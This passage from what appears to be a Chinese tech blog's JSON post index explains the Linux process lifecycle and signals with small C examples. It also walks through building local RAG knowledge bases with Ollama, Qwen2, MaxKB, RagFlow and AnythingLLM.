每当一个新进程被创建时，实际上是通过 fork 或 clone 系统调用将现有进程分裂成两个独立的进程。通常，新创建的进程会立即调用 execve 系统调用来替换当前正在执行的二进制文件。例如，当你在 Bash 中运行 ls 命令时，Bash 首先会使用 fork 创建一个子进程，然后子进程通过 execve 调用将自身转变为 ls 命令。ls 执行完毕后，子进程会结束，返回到原来的 Bash 进程。\n在实际应用中，程序几乎不会直接调用这些系统调用，而是使用 libc 封装函数或类似 system 这样的 libc 函数。这些函数在底层使用 fork 和 execve 或它们的变体。\n进程的死亡 进程通常通过调用 exit 或 exit_group 系统调用来结束自身。如果程序员没有显式调用 exit 而是从 main 返回，编译器会自动调用 exit。如果程序没有使用 libc 编译且没有显式调用 exit，从 main 返回会导致段错误或其他关键信号，因为返回操作会试图从堆栈中弹出非法的返回地址。\n此外，进程也可能通过信号（如 SIGTERM 或 SIGKILL）来终止。最后一种终止进程的方式是直接关闭计算机。\n进程的身份与僵尸进程 每个进程都有一个唯一的 PID（进程标识符），直到内核在进程结束后回收该 PID。在一个进程的 PID 被回收之前，父进程需要调用 wait、waitpid 或 waitid 来等待子进程结束。如果父进程不等待子进程，子进程将成为僵尸进程，继续占用内核的进程表资源。如果父进程本身结束，子进程将重新分配给 PID 为 1 的进程（通常是 init 进程），init 会自动调用 wait 以释放子进程资源。\n线程：次要进程 在 Linux 中，线程实际上是共享相同内存和一些其他资源的独立进程。线程通过调用带有适当标志的 clone 系统调用创建。在内核术语中，每个线程都有自己独特的 PID，但同一进程中的所有线程共享相同的 TGID（线程组 ID），这等同于第一个线程的 PID。因此，从内核的角度来看，PID 实际上标识线程，TGID 标识进程，对于单线程进程，PID 等于 TGID。\n进程管理 管理 Linux 进程涉及多种技术和工具。系统管理员需要了解如何创建、监视和终止进程，以确保系统的稳定性和效率。\n创建进程：使用 fork 或 clone 创建新进程，通常结合 execve 执行新程序。 监视进程：使用 ps、top、htop 等工具监视系统中的活动进程。ps 命令可以显示当前进程的快照，而 top 和 htop 提供动态实时视图。 终止进程：使用 kill 命令发送信号终止进程。kill 可以发送各种信号，但最常用的是 SIGTERM（请求进程终止）和 SIGKILL（强制进程终止）。 进程间通信 Linux 提供了多种进程间通信（IPC）机制，包括信号、管道、消息队列、共享内存和信号量。每种机制都有其特定的用途和适用场景。\n信号：用于通知进程某些事件的发生。 管道：用于在父子进程之间传输数据。 消息队列：允许进程以消息的形式交换数据。 共享内存：提供最快的 IPC 方法，因为进程可以直接访问共同的内存区域。 信号量：用于进程间同步，防止资源竞争。 进程优先级与调度 Linux 使用调度程序来决定进程的执行顺序和时间。进程的优先级可以通过 nice 和 renice 命令进行调整。优先级值越低，进程的优先级越高。\n实时优先级：用于实时任务，确保关键任务在规定时间内执行。 普通优先级：用于一般任务，系统根据优先级和调度策略分配 CPU 时间。 进程状态 一个进程在其生命周期中会经历多个状态，包括：\n运行中：进程正在使用 CPU 。 睡眠中：进程正在等待某个事件（如 I/O 操作完成）。 停止：进程被暂停，通常是因为收到了 SIGSTOP 信号。 僵尸：进程已经终止，但其退出状态信息尚未被父进程读取。 了解进程的生命周期和管理技术对于有效使用 Linux 系统至关重要。通过掌握这些知识，系统管理员和开发者可以优化系统性能，确保应用程序的稳定运行。\n","date":"2024-07-13T02:53:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-13-linux-jin-cheng-de-sheng-yu-si/cover.jpg","permalink":"/p/2024-07-13-linux-jin-cheng-de-sheng-yu-si/","title":"Linux 进程的生与死"},{"content":"为什么需要信号？ Linux 计算机系统中有许多处于不同状态的进程。这些进程要么属于用户应用程序，要么属于操作系统。我们需要一种机制来协调内核和这些进程的活动。其中一种方法就是让进程在发生重要事件时通知其他进程。这就是为什么我们需要信号。\n信号基本上是一种单向通知。信号可以由内核发送给一个进程，也可以由一个进程发送给另一个进程，还可以由一个进程发送给自己。\nLinux 信号起源于 Unix 信号。在后来的 Linux 版本中，加入了实时信号。信号是一种简单、轻量级的进程间通信方式，因此非常适合嵌入式系统。\n关于 Linux 信号一些基本知识 共有 31 个标准信号，编号为 1-31。每个信号都以 \u0026ldquo;SIG \u0026ldquo;命名，后跟一个后缀。\n在 macOS 的命令行中执行 man 3 signal ，可以看到：\n从 2.2 版开始，Linux 内核支持 33 种不同的实时信号。这些信号的编号为 32-64，但程序员应该使用 SIGRTMIN+n 符号。标准信号有特定用途，但 SIGUSR1 和 SIGUSR2 的使用可由应用程序定义。实时信号也由应用程序定义。\n为什么没有 0 信号？ 0 号信号（POSIX.1 将其称为空信号）一般不使用，但 kill 函数将其作为特例使用。不会发送任何信号，但可以使用它（相当不可靠）来检查进程是否仍然存在\n以下是一个使用 C 语言编写的示例代码，展示了如何使用kill函数和 0 号信号来检查进程是否存在：\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3#include \u0026lt;sys/types.h\u0026gt; 4#include \u0026lt;signal.h\u0026gt; 5 6int main(int argc, char *argv[]) { 7 if (argc != 2) { 8 fprintf(stderr, \u0026#34;Usage: %s \u0026lt;pid\u0026gt;\\n\u0026#34;, argv[0]); 9 return 1; 10 } 11 12 pid_t pid = atoi(argv[1]); 13 if (kill(pid, 0) == 0) { 14 printf(\u0026#34;Process with PID %d exists.\\n\u0026#34;, pid); 15 } else { 16 perror(\u0026#34;kill\u0026#34;); 17 printf(\u0026#34;Process with PID %d does not exist or you don\u0026#39;t have permission to signal it.\\n\u0026#34;, pid); 18 } 19 20 return 0; 21} 请注意，这种方法并不是百分之百可靠的，因为在一个进程终止和其 PID 被重新分配给另一个进程之间的短暂时间内，可能会出现检查结果不准确的情况。此外，如果目标进程是由不同用户运行的，并且没有适当的权限，kill函数也可能返回错误。因此，这种方法应该只作为一种粗略的检查手段，而不是作为严格的进程存在的验证。\n推荐使用 sigaction 而不是 signal 函数来处理信号 Linux 实现的信号完全符合 POSIX 标准。较新的实现应优先使用 sigaction，而不是传统的信号接口。\nsignal 函数是一个较旧的函数，用于设置一个信号的处理函数。它的原型如下：\n1void (*signal(int sig, void (*func)(int)))(int); 你可以使用 signal 函数来为特定的信号设置一个处理函数。例如，下面的代码为 SIGINT（通常是用户按 Ctrl+C 时发送的信号）信号设置了一个处理函数：\n1#include \u0026lt;signal.h\u0026gt; 2#include \u0026lt;stdio.h\u0026gt; 3#include \u0026lt;unistd.h\u0026gt; 4 5void handle_sigint(int sig) { 6 printf(\u0026#34;Caught signal %d\\n\u0026#34;, sig); 7} 8 9int main() { 10 signal(SIGINT, handle_sigint); 11 while (1) { 12 printf(\u0026#34;Hello, World!\\n\u0026#34;); 13 sleep(1); 14 } 15 return 0; 16} 我们来看看 sigaction 函数。这个函数提供了更多的方式来控制信号的行为。它的原型如下：\n1int sigaction(int sig, const struct sigaction *act, struct sigaction *oldact); sigaction 函数使用一个 sigaction 结构体来指定信号的处理方式，这个结构体包含了信号处理函数、信号掩码和其它选项。下面是使用 sigaction 的一个例子\n1#include \u0026lt;signal.h\u0026gt; 2#include \u0026lt;stdio.h\u0026gt; 3#include \u0026lt;unistd.h\u0026gt; 4 5void handle_sigint(int sig, siginfo_t *si, void *uc) { 6 printf(\u0026#34;Caught signal %d\\n\u0026#34;, sig); 7} 8 9int main() { 10 struct sigaction sa; 11 sa.sa_flags = SA_SIGINFO; 12 sa.sa_sigaction = handle_sigint; 13 sigemptyset(\u0026amp;sa.sa_mask); 14 15 if (sigaction(SIGINT, \u0026amp;sa, NULL) == -1) { 16 perror(\u0026#34;sigaction\u0026#34;); 17 return 1; 18 } 19 20 while (1) { 21 printf(\u0026#34;Hello, World!\\n\u0026#34;); 22 sleep(1); 23 } 24 return 0; 25} 在这个例子中，我们使用 sigaction 来为 SIGINT 设置信号处理函数 handle_sigint。我们设置了 SA_SIGINFO 标志，这意味着信号处理函数可以接收额外的信息，如信号编号和发送信号的进程信息。\n**为什么推荐使用 sigaction 而不是 signal 呢？**原因是：\n功能强大：sigaction 允许你更精细地控制信号的处理，例如设置信号掩码来在信号处理函数执行期间阻塞特定的信号。 可靠性：signal 在某些系统上可能不是线程安全的，而 sigaction 则没有这个问题。 向后兼容：虽然 sigaction 是 POSIX 标准引入的，但它也提供了与 signal 的向后兼容性。通过适当的使用 sa_flags 参数，可以模拟 signal 的行为。 符合标准：使用 sigaction 可以确保代码的便携性，因为它遵循了 POSIX 标准，这意味着在所有遵循 POSIX 标准的操作系统中，sigaction 的行为都是一致的。 硬中断与软中断 正如硬件子系统可以中断处理器一样，信号也可以中断进程的执行。因此，它们被视为软件中断。中断处理程序处理硬件中断，信号处理程序处理信号。\n一些信号映射到特定的按键输入：\nSIGINT 对应 ctrl+c SIGSTOP 对应 ctrl+z SIGQUIT 对应 ctrl+\\ 信号如何影响 Linux 进程的状态？ 有些信号会终止接收进程：sighup、sigint、sigterm、sigkill 有一些信号在终止进程的同时会产生内核转储，以帮助程序员调试出错的原因：SIGABRT（终止信号）、SIGBUS（总线错误）、SIGILL（非法指令）、SIGSEGV（无效内存引用）、SIGSYS（不良系统调用） 有些信号会停止进程：SIGSTOP、SIGTSTP “\n程序可以覆盖默认行为。例如，可以编写一个交互式程序来忽略SIGINT（由ctrl+c输入生成）。两个值得注意的例外是SIGKILL和SIGSTOP信号，它们不能以这种方式被忽略、阻止或覆盖\n下面的例子中将用到以下信号：\nSIGSTOP: 这个信号导致接收它的进程停止，但不会终止。进程保持在停止状态，直到收到 SIGCONT 信号。 SIGCHLD: 当子进程改变其状态（例如，停止、继续或终止）时，父进程会收到这个信号。 SIGCONT: 这个信号会使停止的进程继续执行 我们通过一个示例来演示父进程和子进程之间的这些信号交互：\n1#include \u0026lt;stdio.h\u0026gt; 2#include \u0026lt;stdlib.h\u0026gt; 3#include \u0026lt;sys/types.h\u0026gt; 4#include \u0026lt;unistd.h\u0026gt; 5#include \u0026lt;signal.h\u0026gt; 6 7void handle_sigchld(int sig) { 8 printf(\u0026#34;Parent received SIGCHLD\\n\u0026#34;); 9} 10 11int main() { 12 pid_t pid = fork(); 13 14 if (pid == 0) { 15 // Child process 16 printf(\u0026#34;Child process is stopping itself...\\n\u0026#34;); 17 kill(getpid(), SIGSTOP); 18 printf(\u0026#34;Child process is continuing...\\n\u0026#34;); 19 sleep(1); // Simulate some work 20 printf(\u0026#34;Child process is exiting...\\n\u0026#34;); 21 exit(0); 22 } else if (pid \u0026gt; 0) { 23 // Parent process 24 signal(SIGCHLD, handle_sigchld); 25 printf(\u0026#34;Parent process is waiting for child to stop...\\n\u0026#34;); 26 pause(); // Wait for SIGCHLD 27 printf(\u0026#34;Parent is signaling child to continue...\\n\u0026#34;); 28 kill(pid, SIGCONT); 29 printf(\u0026#34;Parent is waiting for child to exit...\\n\u0026#34;); 30 wait(NULL); // Wait for child to exit 31 printf(\u0026#34;Parent process is done.\\n\u0026#34;); 32 } else { 33 // Fork failed 34 perror(\u0026#34;fork\u0026#34;); 35 exit(1); 36 } 37 38 return 0; 39} 父进程创建子进程：父进程使用 fork() 系统调用创建一个子进程。 子进程发送 SIGSTOP 给自己：子进程使用 kill() 系统调用向自己发送 SIGSTOP 信号，导致子进程停止。 父进程收到 SIGCHLD 信号：因为子进程的状态发生了变化，父进程会收到一个 SIGCHLD 信号。 父进程发送 SIGCONT 给子进程：父进程可以使用 kill() 系统调用来发送 SIGCONT 信号给子进程，使其从停止状态继续执行。 子进程继续执行：子进程收到 SIGCONT 信号后，会从停止状态恢复，并继续执行。 父进程再次收到 SIGCHLD 信号：因为子进程的状态再次发生了变化（从停止到继续），父进程会再次收到一个 SIGCHLD 信号。 子进程退出：子进程完成后，它会退出。这会向父进程发送另一个 SIGCHLD 信号。 父进程处理子进程的退出：父进程需要调用 wait() 或 waitpid() 系统调用来获取子进程的状态信息，并防止子进程成为僵尸进程。 以下为流程示意图：\n信号与异常类似吗？ 有些编程语言可以使用 try-throw-catch 等结构来处理异常。信号与异常并不相似。相反，失败的系统或库调用会返回非零的退出代码。当进程被终止时，它的退出代码将是 128 加上信号号。例如，被 SIGKILL 杀死的进程将返回 137 (128+9)\nLinux信号是同步的还是异步的？ Linux信号可以是同步的也可以是异步的，这取决于信号的触发方式和发送时机。\n同步信号是由于指令导致了不可恢复的错误（如非法地址访问）而产生的。这些信号会发送给导致错误的线程。比如\n当进程执行了一个非法操作（如访问非法内存、除以零等）时，内核会同步地发送一个信号（如 SIGSEGV）给该进程。 当进程接收到一个系统调用（如 read、write）的请求时，如果该请求不能立即完成，进程可能会被同步地挂起，直到请求完成或超时。 这些信号也被称为陷阱，因为它们也会向内核陷阱处理程序发送陷阱信号。\n异步信号是当前执行上下文的外部信号（是由其他进程或内核在某个事件发生时发送给目标进程的）从另一个进程发送 SIGKILL 就是一个例子。这些信号也称为软件中断。比如：\n当一个进程想要通知另一个进程某个事件已经发生时，它会发送一个信号（如 SIGUSR1）给目标进程。这是一种典型的异步通信方式。 当子进程改变其状态（例如，停止、继续或终止）时，内核会异步地发送 SIGCHLD 信号给父进程。父进程可以注册一个信号处理函数来处理这个信号，例如，获取子进程的状态信息或者防止子进程成为僵尸进程。 信号的典型生命周期是怎样的？ 信号经过三个阶段：\n生成：信号可由内核或任何进程生成。无论谁生成信号，都会将其发送给特定进程。信号用数字表示，没有额外的数据或参数。因此，信号是轻量级的。不过，POSIX 实时信号可以传递额外的数据。可以产生信号的系统调用和函数包括 raise、kill、killpg、pthread_kill、tgkill 和 sigqueue\n传递：一个信号在被传递之前被称为待处理信号。通常情况下，内核会尽快向进程发送信号。但是，如果进程阻塞了信号，它将一直处于待处理状态，直到被解除阻塞为止\n处理：信号一旦发出，就会以多种方式之一进行处理。\n对于非默认行为，可以调用处理函数。具体会发生哪种情况，可通过 sigaction 函数指定\n每个信号都有一个相关的默认操作：忽略信号； 或终止进程，有时会进行核心转储； 或停止/继续进程。 阻塞和解除阻塞信号 信号会中断程序的正常执行流程。当进程正在执行一些关键代码或更新与信号处理器共享的数据时，这种情况是不可取的。阻塞可以解决这个问题。但代价是信号处理会延迟\n每个进程都可以指定是否要阻止某个特定信号。如果被阻止，而信号确实发生了，操作系统将把信号作为待处理信号保留。一旦进程解除阻塞，信号就会发送。当前阻塞信号的集合称为信号掩码。\n无限期地阻塞信号是没有意义的。因此，进程可以在信号发送后忽略它。\n一个进程屏蔽的信号不会影响其他进程，其他进程可以正常接收信号。\n信号屏蔽可以使用 sigprocmask（单线程）或 pthread_sigmask（多线程）设置。当一个进程有多个线程时，可以按线程阻塞信号。信号将传递给任何一个未阻塞它的线程。\n信号处理器以进程为单位，信号屏蔽以线程为单位。\n一个进程可以有多个待发信号吗？ 是的，一个进程可以有许多标准信号待处理。但是，特定信号类型只能有一个实例处于待处理状态。这是因为信号的挂起和阻塞是作为位掩码实现的，每个信号类型只有一个位。\n例如，我们可以同时挂起 SIGALRM 和 SIGTERM 信号，但不能挂起两个 SIGALRM 信号。即使 SIGALRM 信号被多次触发，进程也只会收到一个 SIGALRM 信号\n对于实时信号，信号可以与数据一起排队，这样每个信号实例都可以单独传递和处理。\nPOSIX 并未规定标准信号的传送顺序，也未说明如果标准信号和实时信号都待处理会发生什么情况。Linux 优先处理标准信号。对于实时信号，编号较低的信号先发送，如果一个信号类型有多个队列，则最早的一个先发送。\n","date":"2024-07-07T04:55:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-07-linux-xin-hao-shen-du-jie-xi-xi-tong-bian-cheng-zhong-de-gua/cover.jpg","permalink":"/p/2024-07-07-linux-xin-hao-shen-du-jie-xi-xi-tong-bian-cheng-zhong-de-gua/","title":"Linux信号深度解析：系统编程中的关键通信手段"},{"content":"前言 本文我们介绍另外一种部署本地知识库的方案：\nOllama + MaxKB\n相对来说，容易安装且功能较完善，30 分钟内即可上线基于本地大模型的知识库问答系统，并嵌入到第三方业务系统中。\n缺点是如果你的电脑配置不高，问题回答响应时间较长。\n下图为 MaxKB 的产品架构：\n实现原理上，仍然是应用了 RAG 流程：\n安装 MaxKB 首先我们通过 Docker 安装 MaxKB\ndocker run -d --name=maxkb -p 8080:8080 -v ~/.maxkb:/var/lib/postgresql/data cr2.fit2cloud.com/1panel/maxkb 注意这里镜像源是 china mainland，走代理的镜像会下载失败。\n安装成功后访问：http://localhost:8080/ 登录，初始账号为：\n用户名: admin 密码: MaxKB@123.. 进入系统后是这样的：\n配置模型 接下来我们进行最重要的模型配置\n可以看到有许多模型的供应商，这里你可以通过 API key 在线去连接大模型\nAPI key 不同的模型厂商有不同的申请地址，这种方式不是本文采用的方式，本文我们将把通过 Ollama 本地部署的 Qwen2 大模型配置到 MaxKB\n所以，第一步我们添加模型选择 Ollama\n第二步配置模型，在模型添加界面有几个点要注意（下图是修改界面，和添加界面差不多）\n模型名称和基础模型一定要和你在 ollama list 中显示的一样，不然可能会导致没有必要的重复下载和连接失败 API 域名，因为 MaxKB 是 Docker 部署的，Ollama 是本机部署的，不在一个网络环境，所以要填 ：http://host.docker.internal:11434 API Key 随便写什么都行 创建知识库 模型添加完成，就可以创建知识库了。\n这个比较简单，通过界面功能自己就能搞定，我就不多说了\n这里比较好的是，MaxKB 支持选择文件夹，这一点 AnythingLLM 就不行，不过一次上传文件数量有限：\n“\n支持格式：TXT、Markdown、PDF、DOCX、HTML 每次最多上传50个文件，每个文件不超过 100MB 若使用【高级分段】建议上传前规范文件的分段标识\n创建应用 知识库创建完，就可以创建应用进行问答了\n这里注意除了要为应用添加知识库外，还要进行一下参数设置\n我选择的是第二项，因为我的知识库数据量较小\n设置完成后点击演示\n问答效果展示 这里不太好的是没有同时展示引文，更不用说引文的预览了，实际上这个功能基本上是企业应用上的 刚需\n嵌入第三方应用 嵌入三方应用的需求也是比较常见的，比如你可以通过 iframe 或者 js 代码的形式嵌入到你现有的系统中，我们经常看到一些网站右下角的浮窗就是这种形式，在 MaxKB 中支持嵌入三方应用，需要在应用的 “概览” 中点击 “嵌入第三方”\n剩下的你只需要把代码集成到你的其他应用中就可以了\n思考 学习新知识，最好的方式就是直接去应用它，你可能从来都不知道什么是 RAG，但对相关知识有个大概了解后，通过实践，亲自搭建几个可以 run 起来的应用，那些架构里的结构、名词，逐渐全部都能对应得上了。\n我笔记本的配置有限，如果所有的东西都部署在配置有性能强较的显卡的服务器上，那么就可以满足企业级应用的需求了，企业可以直接完成私有化部署并开始应用。\n参考 https://github.com/1Panel-dev/MaxKB/wiki ","date":"2024-06-22T09:55:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-06-22-rag-shi-jian-ollama-maxkb-bu-shu-ben-di-zhi-shi-ku/cover.jpg","permalink":"/p/2024-06-22-rag-shi-jian-ollama-maxkb-bu-shu-ben-di-zhi-shi-ku/","title":"RAG 实践- Ollama+MaxKB 部署本地知识库"},{"content":"前言 上一篇文章我们介绍了如何利用 Ollama+AnythingLLM 来实践 RAG ，在本地部署一个知识库。借助大模型和 RAG 技术让我可以与本地私有的知识库文件实现自然语言的交互。\n本文我们介绍另一种实现方式：利用 Ollama+RagFlow 来实现，其中 Ollama 中使用的模型仍然是Qwen2\n我们再来回顾一下 RAG 常见的应用架构\nRagFlow的安装和部署 前置条件 CPU \u0026gt;= 4 核 RAM \u0026gt;= 16 GB Disk \u0026gt;= 50 GB Docker \u0026gt;= 24.0.0 \u0026amp; Docker Compose \u0026gt;= v2.26.1 安装 克隆仓库\n$ git clone https://github.com/infiniflow/ragflow.git 进入 docker 文件夹，利用提前编译好的 Docker 镜像启动服务器：\n$ cd ragflow/docker $ chmod +x ./entrypoint.sh $ docker compose -f docker-compose-CN.yml up -d 这一步注意docker 下载的镜像比较大，要留有足够的存储空间，我这边观察下载了约 10 个 G 左右。\n服务器启动成功后再次确认服务器状态:\n$ docker logs -f ragflow-server 这里注意，安装完成后并不是要进入 下面两个地址\nhttp://127.0.0.1:9380 http://172.18.0.6:9380 而是要进入：http://localhost:80 先注册账号，是下面这个页面\n注册登录 在上图的界面中注册，然后登录就来到下面这个页面了\n配置 Ollama 连接大模型 如下图我们先配置模型，点击右上角头像，再点击模型提供商\n这里我是想连接我本地已经安装部署好的 Ollama ，通过 Ollama 我安装了 Qwen2 大模型，具体的安装步骤在之前的那篇文章里，有需要的可以移步到那里看。\n打开Ollama 后， 我是通过服务器模式启动的大模型\nollama serve 当然你也可以选择其他平台和其他模型，需要提供 API key，API key 的获取就去你所选模型的网站，现在有很多模型的 API 是有免费额度的。\n接着我们在 RagFlow 中配置模型，注意由于 RagFlow 我是在 docker 中安装的，所以请求本地部署的 Ollama 地址要用 ：http://host.docker.internal:11434\n创建知识库 接下来我们就可以创建知识库了\n注意这里的文件类型没有 markdown,但我实测 markdown 是可以的。其他的选项，根据你的情况自行设置就好，很简单。\n接下来就是上传你的文件了，也比较简单，但我发现上传后文件处理的比较慢，应该是我电脑配置的原因\n文件上传并处理完成后，可以通过检索测试看一下文件有没有被正确检索。\n至此，如果你上传完成全部的文件，知识库就算创建完毕了。\n聊天 接着就到了展示成果的时候了，我们可以根据自己的知识库与模型进行自然语言交互了。\n首先注意，在聊天配置中要把 token 设置的大一些，不然回复的内容会很少！我这里把它拉到最大值了。\n展示一下成果：\n我觉得还算满意。但是由于我笔记本配置一般，也没有显卡支持，所以跑的很慢，真的很慢。但如果部署在有 GPU 的服务器上，企业私有化部署供内部使用，应该会比较快的。\n思考 我这里的例子是用个人笔记本电脑上的资料做的个人知识库，对于文档的提问，无论是围绕着摘要总结来做，还是围绕着全文检索，答案看起来还行，也基本能用。但是这是面向个人的或者说面向 C 端 ，如果面向 B 端面向企业单靠向量检索就力不从心了，一来无法对精确信息召回，二来无法与企业内部信息系统集成（大量结构化数据）。所以必须在检索阶段引入多路召回和重排序，保证数据查询的准确度。\n企业内部的数据包含各种格式，更复杂的还包含各类图表等，如果在没有理解这些语义的基础之上直接提供 RAG 方案，例如简单的根据文字空白就来切分段落，就会导致语义丢失从而让最终查询的结果也是混乱不堪。\n如果解决这个问题呢，除了之前说的多路召回（多跳）和重排序这种方案，目前业界还有其他思路，比如 infiniFlow提出的 Infinity AI原生数据库（https://github.com/infiniflow/infinity）\n从上图可以看到，AI原生数据库 不仅涵盖非结构化的内容如文档和图片，也包括结构化的信息系统。对这些信息进行有效整合，并在此基础上实现多路召回机制和最终的融合排序解决方案。\n此外，很多AI 产品的上下文现在是越来越长，可能有人会说现在上下文都这么长了，还用得着 RAG 吗？我认为，RAG在知识库问答场景依然是非常必要的。LLM 的长上下文能力，对于 RAG 来说应该是很大的促进。用 OpenAI 联创 Andrej Karpathy 的一张图做个类比，他把 LLM 比喻为一台计算机的 CPU， 把上下文类比为计算机的内存，那么以向量为代表的数据库，就可以看作是这台计算机的硬盘\n显然你不可能买一台只有内存的电脑。内存可以很大，但也意味着很贵，并且短时间内替代不了硬盘的作用。\n最后是准确性问题，关于这个问题一般有两个方向的解决思路，一种是从 RAG 下手，比如做 Embedding 模型的微调。一种是从 LLM 下手，做 LLM 微调。虽然两种我都没真正做过，但从研读的资料上得知RAG系统在实时性和成本方面相较于LLM微调具有优势，因此更受青睐。这点跟我的直觉一致。\n参考 https://github.com/infiniflow/ragflow/blob/main/README_zh.md https://infiniflow.org/blog/database-for-rag ","date":"2024-06-18T15:15:04Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-06-18-rag-shi-jian-ollama-ragflow-bu-shu-ben-di-zhi-shi-ku/cover.jpg","permalink":"/p/2024-06-18-rag-shi-jian-ollama-ragflow-bu-shu-ben-di-zhi-shi-ku/","title":"RAG 实践- Ollama+RagFlow 部署本地知识库"},{"content":"什么是 RAG RAG，即检索增强生成（Retrieval-Augmented Generation），是一种先进的自然语言处理技术架构，它旨在克服传统大型语言模型（LLMs）在处理开放域问题时的信息容量限制和时效性不足。RAG的核心机制融合了信息检索系统的精确性和语言模型的强大生成能力，为基于自然语言的任务提供了更为灵活和精准的解决方案。\nRAG与LLM的关系 RAG不是对LLM的替代，而是对其能力的扩展与升级。传统LLM受限于训练数据的边界，对于未见信息或快速变化的知识难以有效处理。RAG通过动态接入外部资源，使LLM得以即时访问和利用广泛且不断更新的知识库，进而提升模型在问答、对话、文本生成等任务中的表现。此外，RAG框架强调了模型的灵活性和适应性，允许开发者针对不同应用场景定制知识库，从而满足特定领域的需求。\n下图是 RAG 的一个大致流程：\nRAG就像是为大型语言模型（LLM）配备了一个即时查询的“超级知识库”。这个“外挂”不仅扩大了模型的知识覆盖范围，还提高了其回答特定领域问题的准确性和时效性。\n想象一下，传统的LLM像是一个博学多才但记忆力有限的学者，它依赖于训练时吸收的信息来回答问题。而RAG，则是这位学者随时可以连线的庞大图书馆和实时资讯网络。当面临复杂或最新的查询时，RAG能让模型即时搜索并引用这些外部资源，就像学者翻阅最新的研究资料或在线数据库一样，从而提供更加精准、全面和最新的答案。这种设计尤其适用于需要高度专业化或快速更新信息的场景，比如医学咨询、法律意见、新闻摘要等。\n基于此，RAG 技术特别适合用来做个人或企业的本地知识库应用，利用现有知识库资料结合 LLM 的能力，针对特定领域知识的问题能够提供自然语言对话交互，且答案比单纯用 LLM 准确性要高得多。\n实践 现成方案 现成的方案有很多，比如：\nhttps://www.53ai.com/news/gerentixiao/1889.html https://github.com/chatchat-space/Langchain-Chatchat https://www.anjhon.top/llms-mac-local-rag https://github.com/1Panel-dev/MaxKB?tab=readme-ov-file https://www.youtube.com/watch?v=Gh4plFSbW8M https://qanything.ai/ 本文将采用 Ollama + Qwen2.5 +AnythingLLM 来实现本地知识库\nOllama 大法 Ollama 与 LLM 的关系可以这样理解：Ollama 本身不是 LLM，而是一个服务于 LLM 的工具。它提供了一个平台和环境，使得开发者和研究人员能够在本地机器上轻松地运行、测试和部署各种大型语言模型\ngithub:https://github.com/ollama/ollama\n下载安装 Ollama 和大模型 下载地址：https://www.ollama.com/download ，支持 Windows、Mac、Linux。\n当然你也可能用 Docker 安装镜像，官方镜像 https://hub.docker.com/r/ollama/ollama更多细节请参考 github 的 Readme:https://github.com/ollama/ollama\n当你运行 ollama --version 命令成功查询到版本时，表示 Ollama 的安装已经顺利完成。\n接下来便可以用 pull 命令从在线模型库下载模型，比如：\nollama pull llama2 还有更简单的方法直接使用 run 命令，它会在 运行之前自动检查模型是否下载，如果没有会自动下载\nollama run llama3 但是我想搭建的是本地知识库，当然是以中文为主，所以需要对中文支持最好的模型，但是：\nOllama官方提供的模型，对中文支持好的不多，比较好的有：\nLlama2-Chinese：基于Llama2微调。搜“Chinese”关键词就能找到。 Qwen 1.5：阿里的通义千问。一共有6个尺寸，默认是4b。所有尺寸的模型都支持32K的上下文长度。多语言支持。 本想用 智谱的 GLM（ https://huggingface.co/THUDM/chatglm3-6b ），奈何不兼容 Ollama，也没有 GGUF 格式文件，于是作罢。巧的是阿里的 通义Qwen2模型刚刚开源，正好可以试一下。\n“\n阿里开源了通义Qwen2模型，可以说是现阶段这个规模最强的开源模型。发布后直接在 Huggingface LLM 开源模型榜单获得第一名，超过了刚发布的 Llama3 和一众开源模型。Qwen2在代表推理能力的代码和数学以及长文本表现尤其突出。推理相关测试及大海捞针测试都取得了很好的成绩。\n模型概览：Qwen 2 模型组成包括 Qwen2-0.5B、Qwen2-1.5B、Qwen2-7B、Qwen2-57B-A14B和Qwen2-72B。其中Qwen2-57B-A14B为 MoE 模型。\n模型在中文、英文语料基础上，训练数据中增加了27种语言相关的高质量数据；增大了上下文长度支持，最高达到128K tokens（Qwen2-72B-Instruct）。多个评测基准上的领先表现；代码和数学能力显著提升。\n”\n顺序介绍一下中文大模型，可能通过这个仓库了解：https://github.com/HqWu-HITCS/Awesome-Chinese-LLM\n安装并运行 Qwen2 模型，注意这里由于我笔记本配置问题，所以选用的是 7B 参数的模型\nollama run qwen2:7b 模型下载的默认路径是：/Users/${home}/.ollama/models\n以下是我机器的配置，mac intel芯片\n安装完成后就可以对话了:\nopen web UI 通过命令行交互的方式不算太友好，所以我们需要一个好看好用的 UI 界面来与模型进行交互。\nOpen Web UI 就是这样一个软件 https://github.com/open-webui/open-webui ，它通过Docker 可以非常容易的进行部署\n部署完成后，这样使用是不是就友好多了？\n但由于我们是要搭建一个个人本地知识库，需要对知识库有更多的掌控，Open Web UI 有些不满足需要，所以我们要用另一个软件。\nAnythingLLM 我们先下载安装 AnythingLLM :https://useanything.com/download\n完成安装后大概长这个样子：\n然后我们就要开始选择模型了\n这里注意，我们要用服务器模式启动 Ollama，Ollama其实有两种模式：\n聊天模式 服务器模式 所谓服务器模式，你可以简单理解为，Ollama在后端运行大模型，然后开放一个端口给到别的软件，让那些软件可以调用大模型的能力。要开启服务器模式非常简单。在终端里输入：ollama serve\n用服务器模式启动 Ollama 后：\n在AnythingLLM界面中选择 Ollama 然后在 Base URL中填：http://127.0.0.1:11434 模型选择之前下载的 Qwen2.5 7b Token context window 可以先用默认的 4096 完成以上设置后来到下一步\n搭建一个知识库，会涉及到另外两个关键：\nEmbedding Model，嵌入模型。它负责把高维度的数据转化为低维度的嵌入空间。这个数据处理过程在RAG中非常重要。 Vector Store，向量数据库，专门用来高效处理大规模向量数据。 上图中就是默认的嵌入模型以及向量数据库，我们先使用默认的。\n然后往下走，下一步是填写个人信息，这步我就省略了。 再下一步是给你的 workspace 起名，我也省略 接着你就可以在建好的 workspace 中上传你的个人知识库的内容了\n你可以上传文件（支持多种格式 pdf word\u0026hellip;），甚至是一个外部的网站链接，不太好的是它不能上传一个文件夹，如果你的文件夹是包含多级目录的，那么它无法识别，你需要把所有文件平铺放在同一级目录中再全选上传。\n数据源也可以是其他知识网站：\n你可以根据项目来创建Workspace，一个项目建一个。然后，把关于这个项目的所有文档、所有网页都导入Workspace。聊天模式还有两种可以设置：\n对话模式：大模型会根据你给的文档，以及它本来就有的知识储备，综合起来回答。 